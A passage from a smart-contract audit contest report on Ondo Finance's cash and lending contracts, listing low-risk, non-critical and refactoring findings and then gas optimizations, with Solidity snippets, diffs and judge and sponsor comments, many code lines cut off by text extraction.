As the value of the BPS*DENOMINATOR is set as ì0*000 `and can't be changed.` `<br> The if statement in the function is wrong as it doesn't allow to`

be set as the maximum fee 10*000* bps.
 *if (*mintFee >= BPS*DENOMINATOR)* should be changed to *if (*mintFee > BPS_DENOMINATOR).

```
408:  // * @dev The maximum fee that can be set is 10_000 bps, c
```

contracts/cash/CashManager.sol

```
410:  function setMintFee(
411:    uint256 _mintFee
412:  ) external override onlyRole(MANAGER_ADMIN) {
413:    if (_mintFee >= BPS_DENOMINATOR) {
414:      revert MintFeeTooLarge();
415    }
416:    uint256 oldMintFee = mintFee;
417:   mintFee = _mintFee;
418:    emit MintFeeSet(oldMintFee, _mintFee);
419:  }
```

[L-03] Giving KYC status to address(0) should be forbidden

The function `addKYCAddressViaSignature` in KYCRegistry.sol is restricted to the KYC requirement group, which is allowed to give KYC status to user's addresses. Considering the KYC status is checked all over the protocol and if KYCed the zero address can be used. A check should be made in the function `addKYCAddressViaSignature` to make sure the KYC status isn't given to the zero address.

Add this check to the function `addKYCAddressViaSignature` :

```
require(user != address(0), "KYC status for address(0) not allow
```

```
79:  function addKYCAddressViaSignature(
80:    uint256 kycRequirementGroup,
81:    address user,
82:    uint256 deadline,
83:    uint8 v,
84:    bytes32 r,
```

```
85:     bytes32 s
86:   ) external {
```

[L-04] Redeem limit shouldn't be set below the `currentMintAmount`

The function `setRedeemLimit` is used by the admin to update the amount of token that can be redeemed during one epoch.
A check should be made to ensure the new redeem limit isn't set below the `currentMintAmount`.
As this problem will lead to the users not being able to request redeem their minted amount of cash on the current epoch.

`contracts/cash/CashManager.sol`

```
// Before
609:   function setRedeemLimit(
610:     uint256 _redeemLimit
612:   ) external onlyRole(MANAGER_ADMIN) {
613:     uint256 oldRedeemLimit = redeemLimit;
614:     redeemLimit = _redeemLimit;
615:     emit RedeemLimitSet(oldRedeemLimit, _redeemLimit);
616:   }

// After
609:   function setRedeemLimit(
610:     uint256 _redeemLimit
612:   ) external onlyRole(MANAGER_ADMIN) {
613:     require(_redeemLimit > currentMintAmount, "RedeemLimit k
614:     uint256 oldRedeemLimit = redeemLimit;
615:     redeemLimit = _redeemLimit;
616:     emit RedeemLimitSet(oldRedeemLimit, _redeemLimit);
617:   }
```

[L-05] `completeRedemptions` is vulnerable to admin mistakes

The function `completeRedemptions` allows an admin account to distribute collateral to users.

The problem is that the collateral calculation is based on the inputed spec `collateralAmountToDist`.

Duo to that a single admin mistake is not allowed, as it can lead to users receiving less funds back or in the worst case receiving nothing and the collateral being stuck in the assetSender contract.

contracts/cash/CashManager.sol

```
707:  function completeRedemptions(
708:    address[] calldata redeemers,
709:    address[] calldata refundees,
710:    uint256 collateralAmountToDist,
711:    uint256 epochToService,
712:    uint256 fees
713;  ) external override updateEpoch onlyRole(MANAGER_ADMIN) {
714:    _checkAddressesKYC(redeemers);
715:    _checkAddressesKYC(refundees);
716:    if (epochToService >= currentEpoch) {
717:      revert MustServicePastEpoch();
718:    }
719:    // Calculate the total quantity of shares tokens burned
720:    uint256 refundedAmt = _processRefund(refundees, epochTo
721:    uint256 quantityBurned = redemptionInfoPerEpoch[epochTo
722:      .totalBurned - refundedAmt;
723:    uint256 amountToDist = collateralAmountToDist - fees;
724:    _processRedemption(redeemers, amountToDist, quantityBurr
725:    collateral.safeTransferFrom(assetSender, feeRecipient, f
726:    emit RedemptionFeesCollected(feeRecipient, fees, epochTo
727:  }
```

```
743:  function _processRedemption
755:  uint256 collateralAmountDue = (amountToDist * cashAmountRe
756:        quantityBurned;
```

[N-01] Mandatory checks for extra safety

In the following functions below, there are some checks that can be made in order to achieve more safe and efficient code.

1. In the function `setPrice` a require statement can be made to check if the new price is non-zero.

contracts/lending/OndoPriceOracle.sol

```
80:  function setPrice(address fToken, uint256 price) external c
81:    uint256 oldPrice = fTokenToUnderlyingPrice[fToken];
82:    fTokenToUnderlyingPrice[fToken] = price;
83:    emit UnderlyingPriceSet(fToken, oldPrice, price);
84:  }
```

2. In the function `setFTokenToCToken` a require statement can be made to check if the inputed addresses aren't the same.

contracts/lending/OndoPriceOracle.sol

```
92:  function setFTokenToCToken(
93:    address fToken,
94:    address cToken
95:  ) external override onlyOwner {
96:    address oldCToken = fTokenToCToken[fToken];
97:    _setFTokenToCToken(fToken, cToken);
98:    emit FTokenToCTokenSet(fToken, oldCToken, cToken);
99:  }
```

3. In the function `setOracle` a check can be made to ensure the newOracle isn't set as address(0).

contracts/lending/OndoPriceOracle.sol

```
106:  function setOracle(address newOracle) external override or
107:    address oldOracle = address(cTokenOracle);
108:    cTokenOracle = CTokenOracle(newOracle);
109:    emit CTokenOracleSet(oldOracle, newOracle);
110:  }
```

Other instances in:

```
contracts/lending/OndoPriceOracleV2.sol
```

[N-02] Constructor lacks address(0) check

Zero-address check should be used in the constructors, to avoid the risk of setting smth as address(0) at deploying time.

Instances:

```
contracts/cash/factory/CashFactory.sol

53: constructor(address _guardian) {

contracts/cash/factory/CashKYCSenderFactory.sol

53: constructor(address _guardian) {

contracts/cash/factory/CashKYCSenderReceiverFactory.sol

53: constructor(address _guardian) {

contracts/lending/JumpRateModelV2.sol

59: constructor() - owner

contracts/cash/kyc/KYCRegistry.sol

51: constructor() - admin
```

[N-03] Missing check to ensure epoch duration isn't set as zero

The function `setEpochDuration` is used to change the epoch duration. Considering the fact that setting an epoch's duration as 0 seconds might lead to undesired behaviour behavior. Adding a simple check to prevent this from happening is recommended.

```
contracts/cash/CashManager.sol
```

```
546:  function setEpochDuration(
547:    uint256 _epochDuration
548:  ) external onlyRole(MANAGER_ADMIN) {
549:    uint256 oldEpochDuration = epochDuration;
550:    epochDuration = _epochDuration;
551:    emit EpochDurationSet(oldEpochDuration, _epochDuration);
552:  }
```

[N-04] Upgradeable contract is missing a `__gap[50]` storage variable

Reference: Storage_gaps

You may notice that every contract includes a state variable named `__gap`. This is empty reserved space in storage that is put in place in Upgradeable contracts. It allows us to freely add new state variables in the future without compromising the storage compatibility with existing deployments.

Instances:

```
contracts/cash/token/CashKYCSender.sol

22:  contract CashKYCSender is
23:  ERC20PresetMinterPauserUpgradeable,
24:  KYCRegistryClientInitializable
```

```
contracts/cash/token/Cash.sol

21: contract Cash is ERC20PresetMinterPauserUpgradeable
```

[N-05] Create your own import names instead of using the regular ones

For better readability, you should name the imports instead of using the regular ones.

Example:

```
import {IKYCRegistry} from "contracts/cash/interfaces/IKYCRegist
```

Instances - All of the contracts.

[N-06] Initialize function does not use the initializer modifier

Without the modifier, the function may be called multiple times, overwriting prior initializations.

```
contracts/lending/tokens/cCash/CCash.sol

30: function initialize

contracts/lending/tokens/cToken/CErc20.sol

30: function initialize
```

[N-07] Use delete to clear variables instead of zero assignment

You can use the delete keyword instead of setting the variable as zero.

```
contracts/cash/CashManager.sol

259: mintRequestsPerEpoch[epochToClaim][user] = 0
790: redemptionInfoPerEpoch[epochToService].addressToBurnAmt[ref
```

[N-08] Confusing function comment on `setMinimumDepositAmount`

There is a little confusion between the dev comment and the if statement in the function.
As per dev comment the inputed `_minimumDepositAmount` should be larger than the `BPS_DENOMINATOR`.
But the if statement actually allows for the *minimumDepositAmount* `to equal the` *BPS*DENOMINATOR.

contracts/cash/CashManager.sol

```
427: // @dev Must be larger than BPS_DENOMINATOR due to keep our
```

```
433:   function setMinimumDepositAmount(
434:     uint256 _minimumDepositAmount
435:   ) external override onlyRole(MANAGER_ADMIN) {
436:     if (_minimumDepositAmount < BPS_DENOMINATOR) {
437:       revert MinimumDepositAmountTooSmall();
438:     }
439:     uint256 oldMinimumDepositAmount = minimumDepositAmount;
440:     minimumDepositAmount = _minimumDepositAmount;
441:     emit MinimumDepositAmountSet(
442:       oldMinimumDepositAmount,
443:       _minimumDepositAmount
444:     );
445:   }
```

[N-09] Unnecessary if statement in `_checkAndUpdateRedeemLimit`

In the private function `_checkAndUpdateRedeemLimit` an if statement occurs, which is triggered if the inputed amount is zero. This if statement is unnecessary and useless as there is a check already made in the core function `requestRedemption` to ensure the requested redemption isn't below the `minimumRedeemAmount`.

contracts/cash/CashManager.sol

```
641:   function _checkAndUpdateRedeemLimit(uint256 amount) privat
642:     if (amount == 0) {
643:       revert RedeemAmountCannotBeZero();
644:     }
645:     if (amount > redeemLimit - currentRedeemAmount) {
646:       revert RedeemExceedsRateLimit();
647:     }
648:
649:     currentRedeemAmount += amount;
650:   }
```

```
662:   function requestRedemption(
663:     uint256 amountCashToRedeem
```

```
664:   )
665:     external
666:     override
667:     updateEpoch
668:     nonReentrant
669:     whenNotPaused
670:     checkKYC(msg.sender)
671:   {
672:     if (amountCashToRedeem < minimumRedeemAmount) {
673:       revert WithdrawRequestAmountTooSmall();
674:     }
675:
676:     _checkAndUpdateRedeemLimit(amountCashToRedeem);
```

[N-10] Pause/Unpause functions should emit event to notify users

The two function are used to pause and unpause the contract. Consider emitting an even to notify the users, when this is happening.

contracts/cash/CashManager.sol

```
526:   function pause() external onlyRole(PAUSER_ADMIN) {
527:     _pause();
528:    }

533:   function unpause() external onlyRole(MANAGER_ADMIN) {
534:     _unpause();
535:   }
```

[N-11] Two KYC checks made on the same redeemers

The function `completeRedemptions` allows an admin account distribute collateral to users.
A check is made to ensure all of the redeemers are KYCed, but this check is unnecessary.
As in order to request redemption with the function `requestRedemption`, the function already check if the user calling the function is KYCed.

contracts/cash/CashManager.sol

```
662:  function requestRedemption(
663:    uint256 amountCashToRedeem
664:  )
665:    external
666:    override
667:    updateEpoch
668:    nonReentrant
669:    whenNotPaused
670:    checkKYC(msg.sender)

707:  function completeRedemptions(
708:    address[] calldata redeemers,
709:    address[] calldata refundees,
710:    uint256 collateralAmountToDist,
711:    uint256 epochToService,
712:    uint256 fees
713:  ) external override updateEpoch onlyRole(MANAGER_ADMIN) {
714:    _checkAddressesKYC(redeemers);
```

[N-12] Unused constructor

The constructor does nothing.

contracts/lending/tokens/cCash/CCashDelegate.sol

```
15: constructor() {}
```

contracts/lending/tokens/cToken/CTokenDelegate.sol

```
15: constructor() {}
```

[N-13] NatSpec is incomplete in the pausing functions

In the both pause and unpause functions a comment is made, that the purpose of this functions is to pause or unpause the minting functionality. This NatSpec isn't full as it not only applies on the minting, but on the redeeming as well.

contracts/cash/CashManager.sol

```
522:  /**
523:   * @notice Will pause minting functionality of this contra
524:   *
525:   */
526:  function pause() external onlyRole(PAUSER_ADMIN) {
527:    _pause();
528:  }

530:  /**
531:   * @notice Will unpause minting functionality of this cont
532:   */
533:  function unpause() external onlyRole(MANAGER_ADMIN) {
534:    _unpause();
535:  }

662:  function requestRedemption(
663:    uint256 amountCashToRedeem
664:  )
665:    external
666:    override
667:    updateEpoch
668:    nonReentrant
669:    whenNotPaused
670:    checkKYC(msg.sender)
671:  {
```

[N-14] Unnecessary KYC check on the payer

The main use of the function `repayBorrowBehalf` is that a user can pay back a loan on behalf of the borrower.
The problem here is that the function `repayBorrowFresh` checks if both the payer and the borrower are KYCed.
In my opinion the check for the payer is unnecessary and shouldn't be restricted like that.
As long as the borrower is KYCed, everything should be fine.

`contracts/lending/tokens/cCash/CCash.sol`

```
121:  function repayBorrowBehalf(
122:    address borrower,
123:    uint repayAmount
```

```
124:   ) external override returns (uint) {
125:    repayBorrowBehalfInternal(borrower, repayAmount);
126:     return NO_ERROR;
127:   }
```

contracts/lending/tokens/cCash/CTokenCash.sol

```
767:   function repayBorrowFresh(
768:     address payer,
769:     address borrower,
770:     uint repayAmount
771:   ) internal returns (uint) {
772:     /* Revert if not KYC'd */
773:     require(_getKYCStatus(payer), "Payer not KYC'd");
774:     require(_getKYCStatus(borrower), "Borrower not KYC'd");
```

[R-01] Shorthand way to write if / else statement

The normal if / else statement can be refactored in a shorthand way to write it:

1. Increases readability
2. Shortens the overall SLOC.

contracts/lending/OndoPriceOracle.sol

```
61: function getUnderlyingPrice(
62:     address fToken
63:   ) external view override returns (uint256) {
64:     if (fTokenToUnderlyingPrice[fToken] != 0) {
65:       return fTokenToUnderlyingPrice[fToken];
66:     } else {
67:       // Price is not manually set, attempt to retrieve price
68:       // oracle
69:       address cTokenAddress = fTokenToCToken[fToken];
70:       return cTokenOracle.getUnderlyingPrice(cTokenAddress);
71:     }
72:   }
```

The above instance can be refactored in:

```
61: function getUnderlyingPrice(
62:     address fToken
63:   ) external view override returns (uint256) {
64:      address cTokenAddress = fTokenToCToken[fToken];
65:     return fTokenToUnderlyingPrice[fToken] != 0 ? fTokenToUnc
66:   }
```

Other instances:

```
contracts/lending/tokens/cCash/CTokenCash.sol - function exchanc
contracts/lending/tokens/cToken/CTokenModified.sol - function ex
```

[R-02] Modifier should be used instead of require on admin functions

If functions are only allowed to be called by the admin, modifier should be used instead of checking with require statement, if admin is the msg.sender calling the function.

```
contracts/lending/tokens/cCash/CCashDelegate.sol

21:   function _becomeImplementation(bytes memory data) public vi
22:     // Shh -- currently unused
23:     data;
24:
25:     // Shh -- we don't ever want this hook to be marked pure
26:     if (false) {
27:       implementation = address(0);
28:     }
29:
30:     require(
31:       msg.sender == admin,
32:       "only the admin may call _becomeImplementation"
33:     );
34:   }
```

Modifier should be created only accessible by the admin and the instance above can be refactored in:

```
21:  function _becomeImplementation(bytes memory data) public vi
22:    // Shh -- currently unused
23:    data;
24:
25:    // Shh -- we don't ever want this hook to be marked pure
26:    if (false) {
27:      implementation = address(0);
28:    }
29:  }
```

Other instances:

```
contracts/lending/tokens/cCash/CCashDelegate.sol - function _res
contracts/lending/tokens/cToken/CTokenDelegate.sol - function _b
contracts/lending/tokens/cToken/CTokenDelegate.sol - function _r
contracts/lending/tokens/cCash/CCash.sol - function sweepToken()
contracts/lending/tokens/cCash/CCash.sol - function _delegateCom
contracts/lending/tokens/cToken/CErc20.sol - function sweepToker
contracts/lending/tokens/cToken/CErc20.sol - function _delegateC
contracts/lending/tokens/cCash/CTokenCash.sol - function initial
```

[R-03] Unused variables should be deleted

In this case bytes “data” is implemented in the function, but it isn’t used.
If not used, the variable shouldn’t be used in the first place.

```
contracts/lending/tokens/cCash/CCashDelegate.sol

21:  function _becomeImplementation(bytes memory data) public vi
22:    // Shh -- currently unused
23:    data;
24:
25:    // Shh -- we don't ever want this hook to be marked pure
26:    if (false) {
27:      implementation = address(0);
28:    }
29:
30:    require(
31:      msg.sender == admin,
32:      "only the admin may call _becomeImplementation"
```

```
33:     );
34:   }
```

Other instance:

```
contracts/lending/tokens/cToken/CTokenDelegate.sol - function _b
```

[R-04] Use require instead of assert

The Solidity assert() function is meant to assert invariants. Properly functioning code should never reach a failing assert statement.

```
contracts/cash/factory/CashFactory.sol

97: assert(cashProxyAdmin.owner() == guardian);

contracts/cash/factory/CashKYCSenderFactory.sol

106: assert(cashKYCSenderProxyAdmin.owner() == guardian);
```

Recommended: Consider whether the condition checked in the assert() is actually an invariant. If not, replace the assert() statement with a require() statement.

[R-05] Immutable should be used on variables that can't be changed

State variables, which can't be changed after deploying time should be set as immutable.

```
contracts/lending/JumpRateModelV2.sol

24: address public owner;
```

[R-06] Unnecessary return statement applied

Adding a return statement when the function defines a named return variable, is wrong.

contracts/cash/CashManager.sol

```
781:  function _processRefund(
782:    address[] calldata refundees,
783:    uint256 epochToService
784:  ) private returns (uint256 totalCashAmountRefunded) {
785:    uint256 size = refundees.length;
786:    for (uint256 i = 0; i < size; ++i) {
787:      address refundee = refundees[i];
788:      uint256 cashAmountBurned = redemptionInfoPerEpoch[epoc
789:        .addressToBurnAmt[refundee];
790:      redemptionInfoPerEpoch[epochToService].addressToBurnAm
791:      cash.mint(refundee, cashAmountBurned);
792:      totalCashAmountRefunded += cashAmountBurned;
793:      emit RefundIssued(refundee, cashAmountBurned, epochTo
794:    }
795:    return totalCashAmountRefunded;
796  }
```

[R-07] Numeric values having to do with time should use time units for readability

Suffixes like seconds, minutes, hours, days and weeks after literal numbers can be used to specify units of time where seconds are the base unit and units are considered naively in the following way:

```
1 == 1 seconds
1 minutes == 60 seconds
1 hours == 60 minutes
1 days == 24 hours
1 weeks == 7 days
```

contracts/lending/OndoPriceOracleV2.sol

```
77: uint256 public maxChainlinkOracleTimeDelay = 90000; // 25 hc
```

[O-01] Floating pragma

Contracts should be deployed with the same compiler version and flags that they have been tested with thoroughly. Locking the pragma helps to ensure that contracts do not accidentally get deployed using, for example, an outdated compiler version that might introduce bugs that affect the contract system negatively.

Instances:

```
contracts/lending/tokens/cCash/CCashDelegate.sol
contracts/lending/tokens/cToken/CTokenDelegate.sol
contracts/lending/JumpRateModelV2.sol
contracts/lending/tokens/cCash/CCash.sol
contracts/lending/tokens/cToken/CErc20.sol
contracts/lending/tokens/cCash/CTokenInterfacesModifiedCash.sol
contracts/lending/tokens/cToken/CTokenInterfacesModified.sol
contracts/lending/tokens/cErc20ModifiedDelegator.sol
contracts/lending/tokens/cCash/CTokenCash.sol
contracts/lending/tokens/cToken/CTokenModified.sol
```

[O-02] Outdated Compiler Version

Using an outdated compiler version can be problematic especially if there are publicly disclosed bugs and issues that affect the current compiler version. It is recommended to use a recent version of the Solidity compiler.

Instances:

```
contracts/lending/OndoPriceOracle.sol
contracts/lending/JumpRateModelV2.sol
contracts/lending/tokens/cErc20ModifiedDelegator.sol
```

[O-03] Function Naming suggestions

Proper use of `_` as a function name prefix and a common pattern is to prefix internal and private function names with `_`. This pattern is correctly applied in the Party contracts, however there are some inconsistencies in the libraries.

Instances:

```
contracts/lending/tokens/cToken/CTokenModified.sol
contracts/lending/tokens/cCash/CTokenCash.sol
```

[O-04] Proper use of get as a function name prefix

Clear function names can increase readability. Follow a standard convertion function names such as using get for getter (view/pure) functions.

Instances:

```
contracts/lending/tokens/cToken/CTokenModified.sol
contracts/lending/tokens/cCash/CTokenCash.sol
```

[O-05] Events is missing indexed fields

Index event fields make the field more quickly accessible to off-chain.
Each event should use three indexed fields if there are three or more fields.

Instances in:

```
contracts/lending/tokens/cErc20ModifiedDelegator.sol
```

Trust (judge) commented:

> Chosen for most unique issues raised, on top of standard QA issues.

ali2251 (Ondo Finance) commented:

> We will address L-02 (`The maximum fee of 10_000 isn't allowed in the function setMintFee`) and L-05 (`completeRedemptions is vulnerable to admin mistakes`), rest are mostly intended behaviour.

Trust (judge) commented:

> Disagreements:
> L-03 (`Giving KYC status to address(0) should be forbidden`) -> Informational
> N-01 (`Mandatory checks for extra safety`) and N-02 (`Constructor lacks address(0) check`) -> Informational

Gas Optimizations

For this contest, 24 reports were submitted by wardens detailing gas optimizations. The report highlighted below by **c3phas** received the top score from the judge.

The following wardens also submitted reports: 0xSmartContract, SleepingBugs, adriro, Viktor_Cortess, halden, Aymen0909, 0x1f8b, cryptostellar5, dharma09, Diana, tsvetanovv, lllllll, saneryee, pavankv, descharre, eyexploit, chaduke, RaymondFam, arialblack14, Rolezn, Bnke0x0, cygaar, *and* Sathish9098.

Overview

NB: Some functions have been truncated where necessary to just show affected parts of the code.
Throughout the report some places might be denoted with audit tags to show the actual place affected.

[G-01] Using immutable on variables that are only set in the constructor and never after (2.1k gas per var)

Use immutable if you want to assign a permanent value at construction. Use constants if you already know the permanent value. Both get directly embedded in bytecode, saving SLOAD.
Variables only set in the constructor and never edited afterwards should be marked as immutable, as it would avoid the expensive storage-writing operation in the constructor (around 20 000 gas per variable) and replace the expensive storage-reading operations (around 2100 gas per reading) to a less expensive value reading (3 gas).

Total instaces: 1 `gas savings 1 * 2.1k = 2.1k gas`

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/JumpRateModelV2.sol#L24

```
File: /contracts/lending/JumpRateModelV2.sol
24:  address public owner;
```

```
diff --git a/contracts/lending/JumpRateModelV2.sol b/contracts/l
index a3971c6..d4f2285 100644
--- a/contracts/lending/JumpRateModelV2.sol
+++ b/contracts/lending/JumpRateModelV2.sol
@@ -21,7 +21,7 @@ contract JumpRateModelV2 is InterestRateModel
    /**
     * @notice The address of the owner, i.e. the Timelock contra
     */
-   address public owner;
+   address public immutable owner;
```

[G-02] Tightly pack storage variables/optimize the order of variable declaration (Gas Savings: 6k in total)

Here, the storage variables can be tightly packed to save some slots
https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenInterfacesModifiedCash.sol#L13-L48

_notEnteredand admin can be packed together (Saves 1 SLOT) Gas savings: 1 * 2k = 2k

```
File: /contracts/lending/tokens/cCash/CTokenInterfacesModifiedCa

//@audit:   bool internal _notEntered, uint8 public decimals and
contract CTokenStorage {
  bool internal _notEntered;
  string public name;
  string public symbol;
  uint8 public decimals;
  uint internal constant borrowRateMaxMantissa = 0.0005e16;
```

```
  uint internal constant reserveFactorMaxMantissa = 1e18;
  address payable public admin;
  address payable public pendingAdmin;
```

```
diff --git a/contracts/lending/tokens/cCash/CTokenInterfacesModi
index dd722f4..0ce7402 100644
--- a/contracts/lending/tokens/cCash/CTokenInterfacesModifiedCas
+++ b/contracts/lending/tokens/cCash/CTokenInterfacesModifiedCas
@@ -16,6 +16,19 @@ contract CTokenStorage {
     */
    bool internal _notEntered;

+   uint8 public decimals;
+   address payable public admin;
+   address payable public pendingAdmin;
    string public symbol;
-   uint8 public decimals;
    uint internal constant borrowRateMaxMantissa = 0.0005e16;
    uint internal constant borrowRateMaxMantissa = 0.0005e16;
    uint internal constant reserveFactorMaxMantissa = 1e18;
-   address payable public admin;
-   address payable public pendingAdmin;
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CTokenInterfacesModified.sol#L15-L41

_notEntered and admin can be packed together (Saves 1 SLOT) Gas savings: 1 * 2k = 2k

```
File: /contracts/lending/tokens/cToken/CTokenInterfacesModified.
  bool internal _notEntered;
  string public name;
  string public symbol;
  uint8 public decimals;
  uint internal constant borrowRateMaxMantissa = 0.0005e16;
  uint internal constant reserveFactorMaxMantissa = 1e18;
  address payable public admin;
```

```
diff --git a/contracts/lending/tokens/cToken/CTokenInterfacesMoc
index afffb0f..58af08d 100644
--- a/contracts/lending/tokens/cToken/CTokenInterfacesModified.s
+++ b/contracts/lending/tokens/cToken/CTokenInterfacesModified.s
@@ -13,7 +13,19 @@ contract CTokenStorage {
     * @dev Guard variable for re-entrancy checks
     */
    bool internal _notEntered;
+   uint8 public decimals;
+   address payable public admin;
+   address payable public pendingAdmin;
    string public symbol;
-   uint8 public decimals;
    uint internal constant borrowRateMaxMantissa = 0.0005e16;
    uint internal constant reserveFactorMaxMantissa = 1e18;
-   address payable public admin;
-   address payable public pendingAdmin;
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cErc20ModifiedDelegator.sol#L187-L218

_notEntered can be packed with an address variable(saves 1 SLOT) Gas savings: 1 * 2k = 2k

File: /contracts/lending/tokens/cErc20ModifiedDelegator.sol

```
//@audit: bool internal _notEntered should be packed with addres
  bool internal _notEntered;
  string public name;
  string public symbol;
  uint8 public decimals;
  uint256 internal constant borrowRateMaxMantissa = 0.0005e16;
  uint256 internal constant reserveFactorMaxMantissa = 1e18;
  address payable public admin;
```

```
diff --git a/contracts/lending/tokens/cErc20ModifiedDelegator.sc
index c1e9170..ca1ae31 100644
--- a/contracts/lending/tokens/cErc20ModifiedDelegator.sol
+++ b/contracts/lending/tokens/cErc20ModifiedDelegator.sol
```

```
    bool internal _notEntered;
+   uint8 public decimals;
+   address payable public admin;
+   address payable public pendingAdmin;
    string public symbol;
-   uint8 public decimals;
    uint256 internal constant reserveFactorMaxMantissa = 1e18;
-   address payable public admin;
-   address payable public pendingAdmin;
```

[G-03] Massive 15k per tx gas savings - use 1 and 2 for Reentrancy guard

Using `true` and `false` will trigger gas-refunds, which after London are 1/5 of what they used to be, meaning using `1` and `2` (keeping the slot non-zero), will cost 5k per change (5k + 5k) vs 20k + 5k, saving you 15k gas per function which uses the modifier.

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L1434-L1439

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
  modifier nonReentrant() {
    require(_notEntered, "re-entered");
    _notEntered = false;
    _;
    _notEntered = true; // get a gas-refund post-Istanbul
  }
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CTokenModified.sol#L1437-L1442

```
File: /contracts/lending/tokens/cToken/CTokenModified.sol
  modifier nonReentrant() {
    require(_notEntered, "re-entered");
    _notEntered = false;
```

```
        _;
        _notEntered = true; // get a gas-refund post-Istanbul
    }
```

[See solmate implementation]

We could debate about the above finding being on the c4udit as **using bools** but due to the huge impact it would have, I've highlighted it here. Feel free to not include it when doing gas savings calculations.

[G-04] The result of a function call should be cached rather than re-calling the function

External calls are expensive. Consider caching the following: https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L870-L960

CTokenCash.sol.liquidateBorrowFresh(): getBlockNumber() should be cached

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
870:  function liquidateBorrowFresh(

889:    if (accrualBlockNumber != getBlockNumber()) { //@audit:
890:      revert LiquidateFreshnessCheck();
891:    }

894:    if (cTokenCollateral.accrualBlockNumber() != getBlockNum
895:      revert LiquidateCollateralFreshnessCheck();
896:    }
```

```
diff --git a/contracts/lending/tokens/cCash/CTokenCash.sol b/cor
index 93d5000..5e6fc1f 100644
--- a/contracts/lending/tokens/cCash/CTokenCash.sol
+++ b/contracts/lending/tokens/cCash/CTokenCash.sol
@@ -886,12 +886,13 @@ abstract contract CTokenCash is
     }
```

```
      /* Verify market's block number equals current block number
-     if (accrualBlockNumber != getBlockNumber()) {
+     uint _getBlockNumber = getBlockNumber();
+     if (accrualBlockNumber != _getBlockNumber) {
        revert LiquidateFreshnessCheck();
      }

      /* Verify cTokenCollateral market's block number equals cur
-     if (cTokenCollateral.accrualBlockNumber() != getBlockNumber
+     if (cTokenCollateral.accrualBlockNumber() != _getBlockNumbe
        revert LiquidateCollateralFreshnessCheck();
      }
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cToken/CTokenModified.sol#L870-L960

CTokenModified.sol.liquidateBorrowFresh(): getBlockNumber() should be cached

```
File: /contracts/lending/tokens/cToken/CTokenModified.sol
870:  function liquidateBorrowFresh(

889:    if (accrualBlockNumber != getBlockNumber()) { //@audit:
890:      revert LiquidateFreshnessCheck();
891:    }

894:    if (cTokenCollateral.accrualBlockNumber() != getBlockNum
895:      revert LiquidateCollateralFreshnessCheck();
896:    }
```

[G-05] Cache the mapping values rather than fetch it every time

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/OndoPriceOracle.sol#L61-L72

OndoPriceOracle.sol.getUnderlyingPrice(): fTokenToUnderlyingPrice[fToken] should be cached

```
File: /contracts/lending/OndoPriceOracle.sol
61:   function getUnderlyingPrice(
62:     address fToken
63:   ) external view override returns (uint256) {
64:     if (fTokenToUnderlyingPrice[fToken] != 0) { //@audit: Ini
65:       return fTokenToUnderlyingPrice[fToken];//@audit: 2nd ac
66:     } else {
```

```
diff --git a/contracts/lending/OndoPriceOracle.sol b/contracts/l
index 471769e..ddfc781 100644
--- a/contracts/lending/OndoPriceOracle.sol
+++ b/contracts/lending/OndoPriceOracle.sol
@@ -61,8 +61,9 @@ contract OndoPriceOracle is IOndoPriceOracle,
    function getUnderlyingPrice(
      address fToken
    ) external view override returns (uint256) {
-     if (fTokenToUnderlyingPrice[fToken] != 0) {
-       return fTokenToUnderlyingPrice[fToken];
+     uint256 _fTokenToUnderlyingPrice = fTokenToUnderlyingPrice[
+     if (_fTokenToUnderlyingPrice != 0) {
+       return _fTokenToUnderlyingPrice;
      } else {
        // Price is not manually set, attempt to retrieve price f
        // oracle
```

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/OndoPriceOracleV2.sol#L114-L116

OndoPriceOracleV2.sol.getUnderlyingPrice(): fTokenToUnderlyingPriceCap[fToken] should be cached

```
File: /contracts/lending/OndoPriceOracleV2.sol
114:     if (fTokenToUnderlyingPriceCap[fToken] > 0) { //@audit:
115:       price = _min(price, fTokenToUnderlyingPriceCap[fToken]
116:     }
```

Use the cached value here

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/tokens/cCash/CTokenCash.sol#L50-L55

```
File: /contracts/lending/tokens/cCash/CTokenCash.sol
50:     // Set initial exchange rate
51:     initialExchangeRateMantissa = initialExchangeRateMantissa
52:     require(
53:       initialExchangeRateMantissa > 0, //@audit: Use the cach
54:       "initial exchange rate must be greater than zero."
55:     );
```

```
diff --git a/contracts/lending/tokens/cCash/CTokenCash.sol b/cor
index 93d5000..9f0f7da 100644
--- a/contracts/lending/tokens/cCash/CTokenCash.sol
+++ b/contracts/lending/tokens/cCash/CTokenCash.sol
@@ -50,7 +50,7 @@ abstract contract CTokenCash is
      // Set initial exchange rate
      initialExchangeRateMantissa = initialExchangeRateMantissa_;
      require(
-       initialExchangeRateMantissa > 0,
+       initialExchangeRateMantissa_ > 0,
        "initial exchange rate must be greater than zero."
      );
```

[G-06] Internal/Private functions only called once can be inlined to save gas

Not inlining costs 20 to 40 gas because of two extra JUMP instructions and additional stack operations needed for function calls.

Affected code:

https://github.com/code-423n4/2023-01-ondo/blob/f3426e5b6b4561e09460b2e6471eb694efdd6c70/contracts/lending/OndoPriceOracle.sol#L119

```
File: /contracts/lending/OndoPriceOracle.sol
